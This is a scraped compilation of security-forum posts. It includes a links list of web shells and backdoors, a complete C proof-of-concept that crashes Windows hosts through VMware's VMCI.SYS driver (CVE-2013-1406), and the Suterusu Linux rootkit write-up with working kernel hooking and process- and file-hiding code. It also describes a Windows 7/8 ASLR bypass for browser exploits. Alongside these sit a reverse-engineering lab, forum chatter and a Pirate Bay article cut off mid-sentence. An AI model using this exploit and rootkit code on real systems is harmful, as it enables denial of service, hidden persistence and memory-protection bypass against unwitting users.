Nytro

[h=1]Defrag Tools: #30 - MCTS Windows Internals[/h]By: Larry Larsen, Andrew Richards, Chad Beeder [h=3]Download[/h] [h=3]How do I download the videos?[/h] To download, right click the file type you would like and pick “Save target as…” or “Save link as…” [h=3]Why should I download videos from Channel9?[/h] It's an easy way to save the videos you like locally. You can save the videos in order to watch them offline. If all you want is to hear the audio, you can download the MP3! [h=3]Which version should I choose?[/h] If you want to view the video on your PC, Xbox or Media Center, download the High Quality WMV file (this is the highest quality version we have available). If you'd like a lower bitrate version, to reduce the download time or cost, then choose the Medium Quality WMV file. If you have a Zune, WP7, iPhone, iPad, or iPod device, choose the low or medium MP4 file. If you just want to hear the audio of the video, choose the MP3 file. Right click “Save as…” MP3 (Audio only) [h=3]File size[/h] 44.9 MB MP4 (iPod, Zune HD) [h=3]File size[/h] 266.6 MB Mid Quality WMV (Lo-band, Mobile) [h=3]File size[/h] 143.6 MB High Quality MP4 (iPad, PC) [h=3]File size[/h] 584.8 MB Mid Quality MP4 (WP7, HTML5) [h=3]File size[/h] 409.9 MB High Quality WMV (PC, Xbox, MCE) In this episode of Defrag Tools, Andrew Richards, Chad Beeder and Larry Larsen review MCP exam 70-660 - MCTS Windows Internals. Resources: MCTS Windows Internals Windows Internals Books Kernrate Poolmon UMDH Timeline: [01:42] - Summary of the exam [03:00] - Windows Internals books [05:50] - Identifying Architectural Components [14:17] - Designing Solutions [21:34] - Monitoring Windows [29:25] - Analyzing User Mode [41:39] - Analyzing Kernel Mode [45:17] - Debugging Windows [48:32] - Good Luck! Sursa: Defrag Tools: #30 - MCTS Windows Internals | Defrag Tools | Channel 9

[h=1]Web Shells for All[/h] I tweeted to ask the twitter peoples about their fav lazy web shells, as well as posted my favs (see content below!): Pentestmonkey’s REVERSE php shell: php-reverse-shell | pentestmonkey b374k-shell (PHP): https://code.google.com/p/b374k-shell/ AJAX Shell: AJAX/PHP Command Shell | Free software downloads at SourceForge.net Weevely Shell: Weevely by epinna The fuzzdb backdoor collection: https://code.google.com/p/fuzzdb/source/browse/#svn%2Ftrunk%2Fweb-backdoors The laudanum set of injectable code: Laudanum / Code / [r25] (thanks @DisK0nn3cT @rubenthijssen) Happy hacking! Sursa: Web Shells for All!

[h=2]VMCI.SYS IOCTL Host and Guest Privilege Elevation (CVE-2013-1406)[/h] Cylance, Inc. Derek Soeder Reported: July 12, 2012 Published: February 8, 2013 [h=4]Affected Vendor[/h] VMware, Inc. [h=4]Affected Environments[/h] The following VMware host product versions are known to be affected: VMware Server 2.0.2 and earlier VMware Workstation 7.0.0 VMware Workstation 7.1.6 and earlier Other versions that support virtual hardware version 7 not tested due to unavailability, but assumed to be affected The following VMware Tools versions are known to be affected: VMware Tools 7.7.6 and earlier (VMware Server 2.0.2 and earlier) VMware Tools 8.0.4 and earlier (VMware ESXi 4.0.0 Update 4 and earlier) VMware Tools 8.1.3 (VMware Workstation 7.0.0) VMware Tools 8.3.7 and earlier (VMware ESXi 4.1.0 Update 1 and earlier) VMware Tools 8.3.12 prior to build-653202 (VMware ESXi 4.1.0 Update 2 prior to Build 659051 (without ESXi410-201204402-BG)) VMware Tools 8.4.9 and earlier (VMware Workstation 7.1.6 and earlier) VMware Tools 8.6.0 (VMware ESXi 5.0.0) Analiza: http://www.cylance.com/labs/advisories/02-08-2013-Advisory.shtml POC: /* This PoC only for version VMCI.SYS 9.0.13.0 */ #include "stdafx.h" #include "windows.h" #define count_massive 0x189 #define ioctl_vmsock 0x8103208C #define integer_overflow_size 0x12492492; int _tmain(int argc, _TCHAR* argv[]) { HANDLE vmci_device; DWORD bytesRet; int inbuf [count_massive]; int outbuf[count_massive]; int size_=count_massive*sizeof(int); printf("**************************************************\r\n"); printf(" [*]0x16/7ton CVE-2013-1406 simple PoC DOS exploit*\r\n"); printf("**************************************************\r\n"); //opening vmci interface device vmci_device=CreateFileW(L"\\\\.\\vmci",GENERIC_READ,FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL); if (vmci_device!=INVALID_HANDLE_VALUE) { printf("[+]vmci device opened \r\n"); //prepare input buffer memset(&inbuf,0,size_); //vulnerable to integer overflowing parameter inbuf[4]=integer_overflow_size; printf("[+]After delaying we send IOCTL,prepare to BSOD \r\n"); //Delaying signed with Diablo stamp Sleep(0x29a); Sleep(0x1000); DeviceIoControl(vmci_device,ioctl_vmsock,&inbuf,size_,&outbuf,size_,&bytesRet,NULL); CloseHandle(vmci_device); } else { printf("[-]Error: Can't open vmci device!\r\n"); } return 0; } Sursa: [C] CVE-2013-1406 PoC DOS exploit - Pastebin.com

Rootkits for JavaScript Environments Ben Adida Harvard University ben adida@harvard.edu Adam Barth UC Berkeley abarth@eecs.berkeley.edu Collin Jackson Stanford University collinj@cs.stanford.edu Abstract A number of commercial cloud-based password managers use bookmarklets to automatically populate and submit login forms. Unfortunately, an attacker web site can maliciously alter the JavaScript environment and, when the login bookmarklet is invoked, steal the user’s passwords. We describe general attack tech- niques for altering a bookmarklet’s JavaScript envi- ronment and apply them to extracting passwords from six commercial password managers. Our proposed solution has been adopted by several of the commercial vendors. Download: http://static.usenix.org/event/woot09/tech/full_papers/adida.pdf

Suterusu Rootkit: Inline Kernel Function Hooking on x86 and ARM Table of Contents Introduction Function Hooking in Suterusu Function Hooking on x86 Write Protection [*]Function Hooking on ARM Instruction Caching [*]Pros and Cons of Inline Hooking [*]Hiding Processes, Files, and Directories Introduction A number of months ago, I added a new project to the redmine tracker showcasing some code I worked on over the summer (Suterusu - Overview - Redmine). Through my various router persistence and kernel exploitation adventures, I’ve taken a recent interest in Linux kernel rootkits and what makes them tick. I did some searching around mainly in the packetstorm.org archive and whatever blogs turned up, but to my surprise there really wasn’t much to be found in the realm of modern public Linux rootkits. The most prominent results centered around adore-ng, which hasn’t been updated since 2007 (at least, from the looks of it), and a few miscellaneous names like suckit, kbeast, and Phalanx. A lot changes in the kernel from year to year, and I was hoping for something a little more recent. So, like most of my projects, I said “screw it” and opened vim. I’ll write my own rootkit designed to work on modern systems and architectures, and I’ll learn how they work through the act of doing it myself. I’d like to (formally) introduce you to Suterusu, my personal kernel rootkit project targeting Linux 2.6 and 3.x on x86 and ARM. There’s a lot to talk about in the way of techniques, design, and implementation, but I’ll start out with some of the basics. Suterusu currently sports a large array of features, with many more in staging, but it may be more appropriate to devote separate blog posts to these. Function Hooking in Suterusu Most rootkits traditionally perform system call hooking by swapping out function pointers in the system call table, but this technique is well known and trivially detectable by intelligent rootkit detectors. Instead of pursuing this route, Suterusu utilizes a different technique and performs hooking by modifying the prologue of the target function to transfer execution to the replacement routine. This can be observed by examining the following four functions: hijack_start() hijack_pause() hijack_resume() hijack_stop() These functions track hooks through a linked list of sym_hook structs, defined as: struct sym_hook { void *addr; unsigned char o_code[HIJACK_SIZE]; unsigned char n_code[HIJACK_SIZE]; struct list_head list; }; LIST_HEAD(hooked_syms); To fully understand the hooking process, let’s step through some code. Function Hooking on x86 Most of the weight is carried by the hijack_start() function, which takes as arguments pointers to the target routine and the “hook-with” routine: void hijack_start ( void *target, void *new ) { struct sym_hook *sa; unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE]; unsigned long o_cr0; // push $addr; ret memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE); *(unsigned long *)&n_code[1] = (unsigned long)new; memcpy(o_code, target, HIJACK_SIZE); o_cr0 = disable_wp(); memcpy(target, n_code, HIJACK_SIZE); restore_wp(o_cr0); sa = kmalloc(sizeof(*sa), GFP_KERNEL); if ( ! sa ) return; sa->addr = target; memcpy(sa->o_code, o_code, HIJACK_SIZE); memcpy(sa->n_code, n_code, HIJACK_SIZE); list_add(&sa->list, &hooked_syms); } A small-sized shellcode buffer is initialized with a “push dword 0; ret” sequence, of which the pushed value is patched with the pointer of the hook-with function. HIJACK_SIZE number of bytes (equivalent to the size of the shellcode) are copied from the target function and the prologue is then overwritten with the patched shellcode. At this point, all function calls to the target function will redirect to our hook-with function. The final step is to store the target function pointer, original code, and hook code to the linked list of hooks, thus completing the operation. The remaining hijack functions operate on this linked list. hijack_pause() uninstalls the desired hook temporarily: void hijack_pause ( void *target ) { struct sym_hook *sa; list_for_each_entry ( sa, &hooked_syms, list ) if ( target == sa->addr ) { unsigned long o_cr0 = disable_wp(); memcpy(target, sa->o_code, HIJACK_SIZE); restore_wp(o_cr0); } } hijack_resume() reinstalls the hook: void hijack_resume ( void *target ) { struct sym_hook *sa; list_for_each_entry ( sa, &hooked_syms, list ) if ( target == sa->addr ) { unsigned long o_cr0 = disable_wp(); memcpy(target, sa->n_code, HIJACK_SIZE); restore_wp(o_cr0); } } hijack_stop() uninstalls the hook and deletes it from the linked list: void hijack_stop ( void *target ) { struct sym_hook *sa; list_for_each_entry ( sa, &hooked_syms, list ) if ( target == sa->addr ) { unsigned long o_cr0 = disable_wp(); memcpy(target, sa->o_code, HIJACK_SIZE); restore_wp(o_cr0); list_del(&sa->list); kfree(sa); break; } } Write Protection on x86 Since kernel text pages are marked read-only, attempting to overwrite a function prologue in this region of memory will produce a kernel oops. This protection may be trivially circumvented however by setting the WP bit in the cr0 register to 0, disabling write protection on the CPU. Wikipedia’s article on control registers confirms this property: [TABLE] [TR] [TH]BIT[/TH] [TH]NAME[/TH] [TH]FULL NAME[/TH] [TH]DESCRIPTION[/TH] [/TR] [TR] [TD]16[/TD] [TD]WP[/TD] [TD]Write protect[/TD] [TD]Determines whether the CPU can write to pages marked read-only[/TD] [/TR] [/TABLE] The WP bit will need to be set and reset at multiple points in the code, so it makes programmatic sense to abstract the operations. The following code originates from the PaX project, specifically from the native_pax_open_kernel() and native_pax_close_kernel() routines. Extra caution is taken to prevent a potential race condition caused by unlucky scheduling on SMP systems, as explained in a blog post by Dan Rosenberg: inline unsigned long disable_wp ( void ) { unsigned long cr0; preempt_disable(); barrier(); cr0 = read_cr0(); write_cr0(cr0 & ~X86_CR0_WP); return cr0; } inline void restore_wp ( unsigned long cr0 ) { write_cr0(cr0); barrier(); preempt_enable_no_resched(); } Function Hooking on ARM A number of significant changes exist in the hijack_* set of hooking routines depending on whether the code is compiled for x86 or ARM. For instance, the concept of a WP bit does not exist on ARM while special care must be taken to handle data and instruction caching introduced by the architecture. While the concepts of data and instruction caching do exist on the x86 and x86_64 architectures, such features did not pose an obstacle during development. Modified to address these new architectural characteristics is a version of hijack_start() specific to ARM: void hijack_start ( void *target, void *new ) { struct sym_hook *sa; unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE]; if ( (unsigned long)target % 4 == 0 ) { // ldr pc, [pc, #0]; .long addr; .long addr memcpy(n_code, "\x00\xf0\x9f\xe5\x00\x00\x00\x00\x00\x00\x00\x00", HIJACK_SIZE); *(unsigned long *)&n_code[4] = (unsigned long)new; *(unsigned long *)&n_code[8] = (unsigned long)new; } else // Thumb { // add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr memcpy(n_code, "\x01\xa0\x00\x68\x87\x46\x87\x46\x00\x00\x00\x00", HIJACK_SIZE); *(unsigned long *)&n_code[8] = (unsigned long)new; target--; } memcpy(o_code, target, HIJACK_SIZE); memcpy(target, n_code, HIJACK_SIZE); cacheflush(target, HIJACK_SIZE); sa = kmalloc(sizeof(*sa), GFP_KERNEL); if ( ! sa ) return; sa->addr = target; memcpy(sa->o_code, o_code, HIJACK_SIZE); memcpy(sa->n_code, n_code, HIJACK_SIZE); list_add(&sa->list, &hooked_syms); } As displayed above, shellcodes for ARM and Thumb are included to redirect execution, similar to those on x86/_64. Instruction Caching on ARM Most Android devices do not enforce read-only kernel page permissions, so at least for now we can forego any potential voodoo magic to write to protected memory regions. It is still necessary, however, to consider the concept of instruction caching on ARM when performing a function hook. ARM CPUs utilize a data cache and instruction cache for performance benefits. However, modifying code in-place may cause the instruction cache to become incoherent with the actual instructions in memory. According to the official ARM technical reference, this issue becomes readily apparent when developing self-modifying code. The solution is to simply flush the instruction cache whenever a modification to kernel text is made, which is accomplished by a call to the kernel routine flush_icache_range(): void cacheflush ( void *begin, unsigned long size ) { flush_icache_range((unsigned long)begin, (unsigned long)begin + size); } Pros and Cons of Inline Hooking As with most techniques, inline function hooking presents various benefits and detriments when compared to simply hijacking the system call table: Pro: Any function may be hijacked, not just system calls. Pro: Less commonly implemented in rootkits, so it is less likely to be detected by rootkit detectors. It is also easy to circumvent simple hook detection engines due to the flexibility of assembly languages. A variety of detection evasion techniques for x86 may be found in the article x86 API Hooking Demystified. Pro: Inline function hooking may be applied to userland with minimal/no modification. While working on the Android port of DMTCP, an application checkpointing tool out of Northeastern’s HPC lab, it was possible to simply copy and paste the entirety of the hijack_* routines, modified only to use userland linked lists. Con: The current hooking implementation is not thread-safe. By temporarily unhooking a function via hijack_pause(), a race window is opened for other threads to execute the unhooked function before hijack_resume() is called. Potential solutions include crafty use of locking and permanently hijacking the target function and inserting extra logic within the hook-with routine. However, with the latter option, special care must be taken when executing the original function prologue on architectures characterized by variable-length instructions (x86/_64) and PC/IP-relative addressing (x86_64 and ARM). Con: Another harmful possibility in the current implementation is hook recursion. Moreso an issue of poor implementation than any insurmountable design flaw, there are various easy solutions to the problem of having your hook-with function accidentally call the hooked function itself, leading to infinite recursion. Great information on the topic and proof of concept code can (once again) be found in the article x86 API Hooking Demystified. Hiding Processes, Files, and Directories Once a reliable hooking “framework” is implemented, it’s fairly trivial to start intercepting interesting functions and doing interesting things. One of the most basic things a rootkit must do is hide processes and filesystem objects, both of which may be accomplished with the same basic technique. In the Linux kernel, one or more instances of the file_operations struct are associated with each supported filesystem (usually one instance for files and one for directories, but dig into the kernel source code and you’ll find that filesystems are a certain kind of special). These structs contain pointers to the routines associated with different file operations, for instance reading, writing, mmap’ing, modifying permissions, etc. For explicatory purposes, we will examine the instantiation of the file_operations struct on ext3 for directory objects: const struct file_operations ext3_dir_operations = { .llseek = generic_file_llseek, .read = generic_read_dir, .readdir = ext3_readdir, .unlocked_ioctl = ext3_ioctl, #ifdef CONFIG_COMPAT .compat_ioctl = ext3_compat_ioctl, #endif .fsync = ext3_sync_file, .release = ext3_release_dir, }; To hide an object on the filesystem, it is possible to simply hook the readdir function and filter out any undesired items from its output. To maintain a level of system agnosticism, Suterusu dynamically obtains the pointer to a filesystem’s active readdir routine by navigating the target object’s file struct: void *get_vfs_readdir ( const char *path ) { void *ret; struct file *filep; if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) return NULL; ret = filep->f_op->readdir; filp_close(filep, 0); return ret; } The actual hook process (for hiding items in /proc) looks like: #if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 30) proc_readdir = get_vfs_readdir("/proc"); #endif hijack_start(proc_readdir, &n_proc_readdir); The kernel version check is in response to a change implemented in version 2.6.31 that removes the exported proc_readdir() symbol from include/linux/proc_fs.h. In previous versions it was possible to simply retrieve the pointer value externally upon linking, but rootkit developers are now forced to obtain it by alternate, manual means. To perform the actual hiding of an objects in /proc, Suterusu hooks proc_readdir() with the following routine: static int (*o_proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type); int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir ) { int ret; o_proc_filldir = filldir; hijack_pause(proc_readdir); ret = proc_readdir(file, dirent, &n_proc_filldir); hijack_resume(proc_readdir); return ret; } The real heavy lifting occurs in the filldir function, which serves as a callback executed for each item in the directory. This is replaced with a malicious n_proc_filldir() function, as follows: static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) { struct hidden_proc *hp; char *endp; long pid; pid = simple_strtol(name, &endp, 10); list_for_each_entry ( hp, &hidden_procs, list ) if ( pid == hp->pid ) return 0; return o_proc_filldir(__buf, name, namelen, offset, ino, d_type); } Since the intention is to hide processes by hijacking the readdir/filldir routines of /proc, Suterusu simply performs a match of the object name against a linked list of all PIDs the user wishes to hide. If a match is found, the callback returns 0 and the item is hidden from the directory listing. Otherwise, the original proc_filldir() function is executed and its value returned. This same concept applies for hiding files and directories, except a direct string match against the object name is performed instead of converting the PID name to a number type first: static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) { struct hidden_file *hf; list_for_each_entry ( hf, &hidden_files, list ) if ( ! strcmp(name, hf->name) ) return 0; return o_root_filldir(__buf, name, namelen, offset, ino, d_type); } Sursa: Suterusu Rootkit: Inline Kernel Function Hooking on x86 and ARM | Michael Coppola's Blog

Attacking the Windows 7/8 Address Space Randomization ================================================================================ Attacking the Windows 7/8 Address Space Randomization Copyright © 2013 Kingcope "Was nicht passt wird passend gemacht" (English: "If it don't fit, use a bigger hammer.") German phrase ================================================================================ Synopsis - What this text is all about ================================================================================ The following text is what looks like an attempt to circumvent windows 7 and windows 8 memory protections in order to execute arbritrary assembly code. The presented methods are in particular useful for client-side attacks as used for example in browser exploits. The topic that is discussed is a very complex one. At the time I started the research I thought the idea behind the attack will be applied to real-world scenarios quick and easy. I had to be convinced by the opposite. The research was done without knowing much about the real internals of the windows memory space protection but rather using brute force, trial & failure in order to achieve what will be presented in the upcoming text. Be warned - the methods to attack the protection mechanisms hereby presented are not failsafe and can be improved. Tough in many cases it is possible to completely bypass Windows 7 and especially Windows 8 ASLR by using the techniques. Target Software ================================================================================ The used operating systems are Windows 7 and Windows 8, the included PoC code runs on 32 Bits platforms and exploits Internet Explorer 8. All can be applied to Internet Explorer 9 with modifications to the PoC code. For Internet Explorer 10 the memory protection bypass is included and demonstrated in the PoC. Executing code through return oriented programming is left as an excercise to the reader. The PoC makes use of the following vulnerability and therefore for testing the PoC the patch must not be installed. MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability This vulnerability is identified as CVE-2012-4969. It might be possible to use the very same method to exploit other browsers as other browsers give similar opportunities to the exploit writer. I don't want to sound crazy but even other Operating Systems might be affected by this, yet unconfirmed. Current ways to exploit browsers ================================================================================ Today alot of attention is brought to client side exploits especially inside web browsers. Normally the exploitation is done through the old known method of spraying the heap. This is done by populating the heap with nopsleds and actual shellcode. By filling the heap in this way a heap overrun can be used to rewrite the instruction pointer of the processor to a known heap address where the shellcode resides quite deterministic. In order to bypass protections like Data Execution Prevention a ROP chain is built. There are exploits that install a stack pivot in the first place in order to exploit a heap overrun as it would be a stack based buffer overrun using a "return into code" technique. The mentioned modern ways to exploit heap corruptions are documented very well. When it comes to Windows 7 and Windows 8 exploitation the exploit writer will face the obstacle of randomized memory space. There remains the simple question where do I jump to when having control over the instruction pointer? It might by possible to leak memory directly from the web browser and use this information to gain information about the correct offsets and executable code sections. This requires knowledge about a memory leak bug tough and therefore is not used alot. Another option is to use old DLLs that do not have their image bases randomized, for example older Java versions are known to have un- randomized image bases. This option requires the use of third-party software that has to be installed. This text will present a new way to deal with the 'where do i jump when I have code execution' problem. Introduction to Windows memory randomization ================================================================================ Windows 7 and Windows 8 have a special security relevant protection programmed in. The so called A.S.L.R or '[A]ddress pace [L]ayout [R]andomization' that does nothing more than randomize every piece of memory, say its offsets. For example the program image is randomized, the DLLs the program uses are randomized too. There is not a single piece of memory from what one could say after a reboot the data in the memory space will be at the same place as before the reboot. The addresses even change when a program is restarted. ActiveX and other useful features ================================================================================ Web browser exploits have many advantages to other kinds of exploits. For example JavaScript code can be executed inside the webbrowser. This is also the tool that heap spraying makes use of. Let us have a look at what happens if we load an ActiveX object dynamically when a web page loads. The ActiveX object we will load is the Windows Media Player control. This can either be done using JavaScript or plain HTML code. At the point the ActiveX object is loaded Windows will internally load the DLLs into memory space if they previously where not inside the programs memory space. The offset of loading the DLLs in memory space is completely random. At least it should be. Let us now see how we can manage to put a DLL into memory space at a fixed address by loading an ActiveX object at runtime. Exhausting memory space and squeezing DLLs into memory ================================================================================ The nuts and bolts of what is presented here is the idea that DLLs are loaded into memory space if there is memory available, and if there is no memory or only small amounts of memory available then the DLL will be put into the remaining memory hole. This sounds simple. And it works, we can load a DLL into a remaining memory hole. First of all the exploit writer has to code a javascript routine that does fill memory until the memory boundary is hit and a javascript exception is raised. When the memory is filled up the installed javascript exception handler will execute javascript code that frees small chunks of memory in several steps, each step the javascript code will try to load an ActiveX object. The result is that the DLL (sometimes there are several DLLs loaded for an ActiveX object) will be loaded at a predictable address. This means that now the exploit writer has a predictable address to jump to and the 'where do i jump when I have code execution' problem is solved. One problem the method has is that Windows will become unresponsive at the time memory is exhausted but will resume normal operation after the DLL is loaded at a fixed address and the memory is freed using the javascript code. Summary of exploitation stages: * Fill the heap with random bytes until all memory is used up. During the heap filling stage Windows might become unresponsive and will relax soon afterwards ·* Free small heap blocks one by one and try adding a DLL (for example by using a new ActiveX Object that is loadable without a warning by Internet Explorer) This DLL (and the DLLs that are loaded from it) will be squeezed into the remaining memory region (the space that was freed by us through JavaScript). This address is fixed and predictable for us to jump to * Free the remaining memory blocks which were allocated before * Spray the heap using the well known method * Finally trigger the heap corruption and jump to this fixed DLL base to execute our code in a ROP manner. To say it abstract the exploit writer has to be especially careful about the timing in the JavaScript code and about the memory the exploit routines themselves take up. ROP chain and the LoadLibrary API ================================================================================ At the time we have loaded the DLL at a predictable address it is possible to use a ROP chain in order to execute shellcode. The PoC code goes a much simpler path. It will use a short ROP chain and call the LoadLibrary API that is contained in the Windows Media Player DLLs. This way another DLL can be fetched from a WebDAV share and loaded into the Internet Explorer memory space in order to fully execute arbritrary code. Windows 8 singularity ================================================================================ Testcases have shown that Windows 8 behaves more vulnerable to the method than Windows 7. In Windows 8 the DLL will be loaded at the very low address 0x10000 and more reliable than in Windows 7. Windows 7 is much more persistant in loading the DLL at a fixed memory address. The testcases for Windows 7 have shown that the DLL will be loaded at the predictable address at least 7 out of 10 times of loading the exploit. The PoC codes ================================================================================ There are two different PoCs, one for Windows 7 and one for Windows 8. The Windows 8 code is a slightly modified version of the Windows 7 code. Please note that Windows Defender detects the Win8 PoC as being an exploit and blocks execution. The parts which are detectable by windows defender are not needed for the A.S.L.R. attack to work. Please disable Windows Defender if you test the Windows 8 PoC for now. The Windows 7 PoC is successful if it loads gdiplus.dll at the predictable fixed offset 0x7F7F0000. If you are lucky and have set up the exploit appropriately the payload will be executed, which is currently a MessageBox that pops up. The Windows 8 PoC is successful if it loads gdiplus.dll at the predictable fixed offset 0x10000. Please note that wmp.dll (Windows Media Player DLL) and gdiplus.dll should not be in the Internet Explorer address space prior to executing the PoC for it to succeed. As a final note, the PoC does not depend on the ActiveX control that is added it can be changed with some effort to load a different DLL. Here are the mappings I tested when the PoC succeeds: Windows 7 32-Bit Service Pack 0 & Service Pack 1 across reboots: Address Size Owner Section Contains Type Access 7F7F0000 00001000 gdiplus PE header Imag R RWE 7F7F1000 0016B000 gdiplus .text code,imports Imag R RWE 7F95C000 00008000 gdiplus .data data Imag R RWE 7F964000 00001000 gdiplus Shared Imag R RWE 7F965000 00012000 gdiplus .rsrc resources Imag R RWE 7F977000 00009000 gdiplus .reloc relocations Imag R RWE Windows 8 32-Bit across reboots: Address Size Owner Section Contains Type Access 00010000 00001000 gdiplus PE header Imag R RWE 00011000 00142000 gdiplus .text code,exports Imag R RWE 00153000 00002000 gdiplus .data Imag R RWE 00155000 00003000 gdiplus .idata imports Imag R RWE 00158000 00012000 gdiplus .rsrc resources Imag R RWE 0016A000 00009000 gdiplus .reloc relocations Imag R RWE The archive containing the PoCs is found here: http://www.farlight.org/rlsa.zip Enjoy! Sursa: http://kingcope.wordpress.com/

[h=1][AthCon 2012] Venue into my work uncovering and exploiting zero days[/h] AthCon IT Security Conference Title: Venue into my work uncovering and exploiting zero days vulnerabilities and advanced fuzzing techniques Speaker: Nikolaos Rangos (Kingcope)

[h=1]121 X11: Reverse Engineering with IDA Pro Freeware[/h]What you need: A Windows computer (real or virtual) with an Internet connection [h=2]Purpose[/h] You will use IDA Pro Free to disassemble and analyze Windows executable files. [h=2]Downloading an EXE to Examine[/h] Create a working directory C:\IDA. Download this file and move it to C:\IDA crackme-121-1.exe [h=2]Downloading IDA Pro Free[/h] Open a Web browser and go to http://www.hex-rays.com/products/ida/support/download_freeware.shtml At the bottom of the page, click the "IDA Freeware (16mb)" link. Install the software with the default options. I saw an error message saying something about a single-quote directory not found, but just closed it and it seemed not to matter. When you see the IDA window shown below, click the OK button. Click "I Agree". In the "Welcome to IDA!" box, as shown below, click the New button. If you are using Windows 7, IDA crashes. It needs Administrator privileges. Click Start, type IDA, right-click "IDA Pro Free", and click "Run as Administrator", as shown below: If a "User Account Control" box pops up, click Yes. In the "About" box, click the OK button. [h=2]Loading the EXE File[/h] In the "Welcome to IDA" box, click the New button. In the "New disassembly database" box, click "PE Executable", and then click OK, as shown below: In the "Select PE Executable to disassemble" box, navigate to the crackme-121-1.exe file you saved earlier in the C:\IDA directory and double-click it. In the "Welcome to the PE Executable file loading Wizard" box, click the Next button, as shown below: In the "Segment Creation" box, click Next. In the "File loading" box, click Finish. A box pops up saying "...the input file was linked with debug information...", as shown below. Click the Yes button. [h=2]Viewing Disassembled Code[/h] In IDA Pro, find the "View-A" pane, which shows boxes containing code linked to other boxes in a flowchart style. Maximize this pane, by clicking the button indicated by the arrow in the figure below: Close the "Graph Overview" box in the lower right corner. Drag the lower border of the "View-A" pane down, to make as large a viewable area as possible. Right-click in the "View-A" box and click "Fit window", as shown below: You should now see the entire program shown as six boxes connected by lines, as shown below: For this project, I have labelled the modules with letters as shown below: Right-click in the "View-A" box and click "Zoom 100%", as shown below: Click and drag the "View-A" display as needed to make module A visible, as shown below: The assembly code is hard to read, but you don't need to understand it all. Focus on the last two instructions: cmp [ebp+arg_0], 2 jz short loc_4113C2 This compares some number to 2 with the cmp (Compare) operation, and jumps to a different module if it is 2, using the jz (Jump if Zero) operation. [h=2]C Source Code[/h] Here is the actual C source code for the file you are disassembling. Module A is the assembly code for the first "if" statement, labelled with the yellow "A" box below: Drag the "View-A" display to make Module C visible, as show below: Notice the gray readable text on the right side, saying "Usage: crackme-123-1 password". This module pushes those characters onto the stack with a push command, and then calls the printf function with the call ds:_imp_printf command. The figure below shows the C statements that comple to the "C" module: Follow along in IDA Pro and make sure you see what each of the six modules do, and how they correspond to the C source code. [h=2]Saving the Image[/h] Drag the "View-A" screen to show module "B", as shown below: Make sure the gray "topsecret" text is visible. Save this image with the filename Proj X11a from YOUR NAME [h=2]Running the Executable[/h] Click Start, type in CMD, and press Enter to open a Command Prompt window. In the Command Prompt window, execute these commands: cd \IDA crackme-123-1 You should see the message "Usage: crackme-123-1 password", as shown below: If you see a message saying "This application has failed to start because MSVCR100D.dll was not found", download that file here, and put it in the same folder as the .exe file: msvcr100d.dll This message is telling you that you need to add a password after the "crackme-123-1". In the Command Prompt window, execute this command: crackme-123-1 wrongpassword You should see the message "Fail!". In the Command Prompt window, execute this command: crackme-123-1 topsecret You should see the message "You found the password!", as shown below: [h=2]Saving the Image[/h] Make sure the "You found the password!" text is visible. Save this image with the filename Proj X11b from YOUR NAME [h=2]Point Value[/h] Those two images are worth a total of ten points. You can now earn more points by using the same technique to crack more files, as explained below. [h=3]Crackme-121-2 (10 points)[/h] Download this file: crackme-123-2.exe It is very similar to crackme-123-1. Perform these steps: Load the executable in IDA Pro Find the module containing the password, and save a screen capture of it Run the program at a command prompt and save an image of it congratulating you for finding the password. [h=3]Crackme-121-3 (10 points)[/h] This one is a little more complicated, with two passwords instead of just one. Download this file: crackme-123-3.exe Perform these steps: Load the executable in IDA Pro Find the modules containing the passwords, and save a screen capture of them Run the program at a command prompt and save an image of it congratulating you for finding the passwords. [h=3]Crackme-121-4 (10 points)[/h] This one is a little more complicated--you need to do more than just provide a password. Download this file: crackme-123-4.exe Perform these steps: Load the executable in IDA Pro Find the modules that perform string comparisons (strcmp) and try to guess what they are referring to. Run the program at a command prompt and save an image of it congratulating you for solving the puzzle. [h=2]Turning in your Project[/h] Email the images to cnit.121@gmail.com with the subject line: Proj X11 from YOUR NAME [h=2]Credits[/h] This is based on a class I took at the HoneyNet conference, from Felix Leder. Sursa: 121 Proj X11: Reverse Engineering with IDA Pro Freeware (10-40 pts.)

Hmm, chiar merge asta? Ce-i drept, la cate resurse consuma Kaspy, sunt toate sansele sa mearga.

Ala nu mai e "UAC bypass", din moment ce ai Privilege Escalation faci ce vor muschii tai. Problema e ca exploit-ul de SYSRET merge in primul rand doar pe x64, in al doilea rand daca Windows-ul nu e cu update-urile la zi.

Daca stai sa te uiti, cam toate vulnerabilitatile merg pe acelasi pincipiu de rahat: clase care incarca alte clase. E penibila arhitectura. Nu cred ca cei de la security-explorations sunt "dusmani" Oracle, deoarece i-au anuntat de toate problemele, abia apoi le-au facut publice: full disclosure agreement. Da, mai apare cate un "0day" si pun intre ghilimele deoarece nu e tocmai ceva nou ci doar aceeasi idee, dar nu e tocmai dificil de gasit daca stai sa sapi prin tonele lor de clase inutile.

Ofera de o luna si ceva: "1 February 2013" Asta daca nu e extradat si inchis in SUA.

The Pirate Bay is back online. Its new provider turned out to be none less than one in North Korea. This has all sorts of interesting geopolitical consequences. People using The Pirate Bay right now will observe that it’s slightly slower than usual. Earlier today, the Norwegian Pirate Party sent a press release that they no longer supplied bandwidth to The Pirate Bay, as the party’s uplink had caved to threats from the copyright industry about kicking out The Pirate Bay. (This remains a concern in itself.) Ten minutes after that article was posted, The Pirate Bay came back online with a new provider that was as-yet unidentified. The swarm has worked and discovered the origins of the new provider: North Korea. This has all sorts of interesting geopolitical consequences. (For the technically interested, the last link in the traceroute chain is 175.45.177.217. A whois lookup will tell you that this is an ISP based in North Korea.) North Korea may have the one government on this planet which takes pride in asking Hollywood and United States interests to take a hike in the most public way imaginable. Many more governments could do well to learn that particular idea, even if they don’t need to pick up the other things that the NK government is up to. The world’s most resilient site for safeguarding freedom of expression, going against the political interests of the United States’ elite cronyists, is now run from North 